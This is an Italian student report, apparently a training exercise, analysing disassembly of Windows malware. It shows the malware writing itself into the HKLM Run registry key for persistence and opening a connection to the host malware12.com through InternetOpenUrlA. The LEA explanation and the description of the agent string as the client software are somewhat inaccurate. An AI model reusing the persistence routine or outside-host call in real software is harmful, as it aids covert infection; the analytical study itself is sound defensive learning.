

# REPORT WINDOWS MALWARE

FRANCESCO PERSICHETTI

Dato il testo del codice malevolo, identificare:

1. Come il malware riesce ad ottenere la persistenza evidenziando il pezzo di codice relativo
2. Il client software utilizzato per collegarsi a internet
3. L'URL a cui il malware tenta di connettersi
4. BONUS: qual è il significato e il funzionamento del comando assembly "lea"


1.

Per ottenere la persistenza per modificare le chiavi di registro, nel nostro codice viene chiamata prima la funzione **"RegOpenKeyEx"**(evidenziato in rosso) che passa i parametri della funzione sullo stack tramite le istruzioni "push" e con questa funzione il malware accede alla chiave di registro prima di modificarne il valore. Successivamente con la funzione **"RegSetValueEx"**(evidenziato in blu) passa i parametri con le istruzioni "push ecx" e "push edx" e viene utilizzata per modificare il valore del registro ed aggiungere una nuova chiave per ottenere la persistenza facendolo "runnare" ad ogni avvio del pc.

Nel nostro caso la chiave di registro immessa utilizzata dal malware per ottenere la persistenza è: **"Software\\Microsoft\\Windows\\CurrentVersion\\Run"**(evidenziato in verde)

```

0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW
```



2.

```
push    offset szAgent    ; "Internet Explorer 8.0"  
call    ds:InternetOpenA  
mov     edi, ds:InternetOpenUrlA
```

Come possiamo notare dalla figura il client software utilizzato per collegarsi a internet è "Internet Explorer 8.0"

3.

```
push    offset szUrl      ; "http://www.malware12COM  
push    esi               ; hInternet  
call    edi ; InternetOpenUrlA
```

L'URL a cui il malware una volta stabilita la connessione a internet cerca di collegarsi è:  
["http://www.malware12.com"](http://www.malware12.com)

4.

L'istruzione LEA, che sta per "Load Effective address", vista nel primo screen copia l'effettivo valore esadecimale a 16 bit di un'etichetta, passata come operando sorgente, nel registro di Offset indicato dall'operando destinazione. In breve, LEA carica un puntatore all'elemento a cui ti stai indirizzando mentre MOV carica il valore effettivo a quell'indirizzo. Il suo scopo è quello di eseguire un calcolo dell'indirizzo non banale e memorizzare il risultato.